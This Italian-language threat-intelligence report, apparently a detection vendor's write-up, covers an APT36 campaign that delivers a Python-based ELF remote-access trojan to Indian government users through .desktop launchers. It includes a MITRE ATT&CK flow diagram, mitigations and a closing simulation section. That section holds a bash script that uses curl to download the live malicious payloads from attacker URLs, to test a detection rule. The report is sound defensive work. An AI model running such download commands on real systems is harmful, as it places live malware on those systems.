APT36 Distribuisce Malware Python ELF Contro Entità Governative Indiane
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
APT36 (Transparent Tribe) ha condotto una campagna di spear-phishing che ha depositato file di scorciatoia dannosi .desktop Linux su utenti del governo indiano. Questi launcher recuperano ed eseguono un RAT ELF basato su Python chiamato swcbc da un server controllato dall’attaccante. Il malware mantiene la persistenza attraverso un servizio systemd a livello utente e comunica con il suo C2 tramite HTTP per esfiltrare dati ed eseguire comandi. La campagna evidenzia la crescente capacità del gruppo di operare efficacemente in ambienti Linux.
Indagine
L’indagine ha seguito la catena dall’allegato iniziale .zip al launcher .desktop, al PDF esca, e ai due payload (swcbc ELF binario e script swcbc.sh) scaricati da un indirizzo IP controllato dall’attore. L’analisi ha mostrato che il binario ELF è un RAT Python impacchettato con PyInstaller con capacità di profilazione del sistema, caricamento/scaricamento di file, cattura dello schermo e autoterminazione. La persistenza è implementata registrando un servizio systemd all’interno della directory di configurazione dell’utente.
Mitigazione
Le difese raccomandate includono il blocco dell’esecuzione di binari .desktop, .sh ed ELF ricevuti via email e l’applicazione di esecuzione in sandbox per gli allegati sospetti. Disabilitare l’esecuzione automatica da percorsi scrivibili da tutto il mondo come /tmp e applicare opzioni di montaggio noexec dove possibile. Monitorare il traffico DNS e HTTP per connessioni al dominio e IP dannosi identificati. Applicare un rigoroso controllo delle applicazioni su strumenti come curl e LibreOffice.
Risposta
Quando viene rilevata un’attività, isolare l’host Linux impattato, raccogliere gli artefatti dannosi e l’unità di servizio systemd, e rimuovere la directory nascosta ~/.swcbc. Utilizzare strumenti forensici per estrarre l’ID univoco dell’host e terminare eventuali sessioni C2 in corso. Aggiornare il contenuto di rilevamento con gli IOCs osservati e cercare proattivamente modelli simili nell’ambiente più ampio.
graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[“<b>Azione</b> – <b>T1566 Phishing</b>: Allegato di Spearphishing<br/><b>Descrizione</b>: L’avversario invia via email un collegamento .desktop malevolo al bersaglio.”] class initial_access_phishing action user_execution_file[“<b>Azione</b> – <b>T1204.002 Esecuzione da parte dell’Utente</b>: File Malevolo<br/><b>Descrizione</b>: La vittima apre il file .desktop, causando l’esecuzione dello script incorporato.”] class user_execution_file action obfuscation[“<b>Azione</b> – <b>T1027 File Offuscati</b>: Codifica dei Dati<br/><b>Descrizione</b>: Lo script è memorizzato come stringa codificata in Base64 e il payload ELF è impacchettato con PyInstaller.”] class obfuscation action masquerading[“<b>Azione</b> – <b>T1036 Masquerading</b><br/><b>Descrizione</b>: Il collegamento .desktop imita un documento d’ufficio legittimo e apre un PDF esca.”] class masquerading action ingress_tool_transfer[“<b>Azione</b> – <b>T1105 Trasferimento di Strumenti in Ingresso</b><br/><b>Descrizione</b>: Lo script scarica un binario ELF e uno script shell da un server HTTP remoto.”] class ingress_tool_transfer action execution_unix_shell[“<b>Azione</b> – <b>T1059 Interprete di Comandi e Script</b>: Unix Shell<br/><b>Descrizione</b>: Il downloader concede i permessi di esecuzione ed esegue i payload in background.”] class execution_unix_shell action persistence_systemd[“<b>Azione</b> – <b>T1543 Creare o Modificare un Processo di Sistema</b><br/><b>Descrizione</b>: Viene creato e abilitato un servizio systemd malevolo a livello utente per l’avvio al login.”] class persistence_systemd action persistence_boot_script[“<b>Azione</b> – <b>T1037.004 Script di Inizializzazione all’Avvio o al Logon</b><br/><b>Descrizione</b>: Il servizio systemd a livello utente agisce come script di avvio o logon per la persistenza.”] class persistence_boot_script action discovery_system_info[“<b>Azione</b> – <b>T1082 Scoperta delle Informazioni di Sistema</b><br/><b>Descrizione</b>: Il RAT ELF raccoglie versione del sistema operativo, hostname, nome utente e indirizzo MAC.”] class discovery_system_info action discovery_file_dir[“<b>Azione</b> – <b>T1083 Scoperta di File e Directory</b><br/><b>Descrizione</b>: Il malware enumera il filesystem per individuare file da esfiltrare.”] class discovery_file_dir action command_control_app_layer[“<b>Azione</b> – <b>T1071 Protocollo di Livello Applicativo</b><br/><b>Descrizione</b>: L’impianto comunica con il server C2 utilizzando HTTP GET/POST.”] class command_control_app_layer action data_encoding[“<b>Azione</b> – <b>T1132 Codifica dei Dati</b><br/><b>Descrizione</b>: I payload C2 sono codificati in Base64 per offuscarne il contenuto.”] class data_encoding action collection_local_data[“<b>Azione</b> – <b>T1005 Dati dal Sistema Locale</b><br/><b>Descrizione</b>: Il RAT archivia i file selezionati in archivi ZIP per il caricamento.”] class collection_local_data action exfiltration_http[“<b>Azione</b> – <b>T1005 Dati dal Sistema Locale (Esfiltrazione)</b><br/><b>Descrizione</b>: Gli archivi vengono inviati all’attaccante tramite richieste HTTP POST.”] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[“<b>Artefatto</b> – <b>Collegamento .desktop</b><br/><b>File</b>: Analysis_Proc_Report_Gem.desktop<br/><b>Scopo</b>: Attiva l’esecuzione dello script Base64.”] class file_desktop artifact script_base64[“<b>Malware</b> – <b>Script Base64</b><br/><b>Contenuto</b>: Decodifica ed esegue la logica del downloader.”] class script_base64 malware elf_payload[“<b>Malware</b> – <b>Binario ELF (swcbc)</b><br/><b>Tipo</b>: RAT impacchettato e distribuito tramite PyInstaller.”] class elf_payload malware shell_script_payload[“<b>Malware</b> – <b>Script Shell (swcbc.sh)</b><br/><b>Scopo</b>: Script di supporto per configurare la persistenza.”] class shell_script_payload malware systemd_service[“<b>Artefatto</b> – <b>File di Servizio systemd</b><br/><b>Posizione</b>: ~/.config/systemd/user/swcbc.service<br/><b>Effetto</b>: Esegue il payload ELF al login dell’utente.”] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing u002du002d>|consegna| file_desktop file_desktop u002du002d>|invoca| script_base64 script_base64 u002du002d>|offusca| obfuscation script_base64 u002du002d>|si maschera come| masquerading script_base64 u002du002d>|scarica| elf_payload script_base64 u002du002d>|scarica| shell_script_payload ingress_tool_transfer u002du002d>|facilita il download di| elf_payload ingress_tool_transfer u002du002d>|facilita il download di| shell_script_payload script_base64 u002du002d>|esegue tramite| execution_unix_shell elf_payload u002du002d>|viene eseguito come| process_elf[(“Processo ELF”)] class process_elf process process_elf u002du002d>|stabilisce| command_control_app_layer process_elf u002du002d>|raccoglie info di sistema tramite| discovery_system_info process_elf u002du002d>|enumera file tramite| discovery_file_dir process_elf u002du002d>|archivia file tramite| collection_local_data collection_local_data u002du002d>|codifica i dati tramite| data_encoding collection_local_data u002du002d>|esfiltra tramite| exfiltration_http exfiltration_http u002du002d>|utilizza| command_control_app_layer shell_script_payload u002du002d>|crea| systemd_service systemd_service u002du002d>|abilita| persistence_systemd persistence_systemd u002du002d>|fornisce| persistence_boot_script persistence_boot_script u002du002d>|garantisce l’esecuzione al login| execution_unix_shell
Flusso di attacco
Rilevamenti
Rilevamento di download URL dannosi di APT36 [Proxy]
Visualizza
Esecuzione di script .desktop e Shell dannosi di APT36 [Creazione processo Linux]
Visualizza
IOC (SourceIP) da rilevare: Malware ELF basato su Python di APT36 che prende di mira enti governativi indiani
Visualizza
IOC (DestinationIP) da rilevare: Malware ELF basato su Python di APT36 che prende di mira enti governativi indiani
Visualizza
IOC (HashSha256) da rilevare: Malware ELF basato su Python di APT36 che prende di mira enti governativi indiani
Visualizza
Esecuzione della simulazione
Prerequisito: Il controllo preliminare di Telemetria & Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.
-
Narrazione & comandi dell’attacco:
Un operatore APT-36 ospita tre payload su infrastruttura compromessa e distribuisce i loro URL tramite una email di phishing. La vittima, utilizzando un browser web configurato per instradare il traffico attraverso il proxy aziendale, clicca su ogni link. Il proxy registra ogni richiesta GET, producendo voci che corrispondono alla regolaurl|alllista. I payload sono:- Un binario ELF grezzo (
swcbc) consegnato tramite HTTP. - Uno script shell (
swcbc.sh) che, quando eseguito, installa l’ELF. - Un PDF esca (
Analysis_Proc_Report_Gem.pdf) destinato a incoraggiare l’utente ad aprire il file mentre l’ELF dannoso viene eseguito in background.
- Un binario ELF grezzo (
-
Script di test di regressione:
#!/usr/bin/env bash # Simulazione del download di URL dannosi di APT‑36 - attiva la regola Sigma. set -euo pipefail # Definisci gli URL dannosi (stringhe esatte dalla regola Sigma) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # Scarica ciascun payload tramite il proxy aziendale. # Presumi che la variabile d'ambiente http_proxy/https_proxy punti al proxy. for u in "${urls[@]}"; do echo "[*] Downloading $u via proxy..." curl -s -O "$u" done echo "[+] All malicious files downloaded. Check proxy logs for matching URLs."Salva lo script come
apt36_simulation.sh, rendilo eseguibile (chmod +x apt36_simulation.sh), e eseguilo sulla workstation protetta. -
Comandi di pulizia:
#!/usr/bin/env bash # Rimuovi tutti i file creati dalla simulazione rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] Cleanup complete."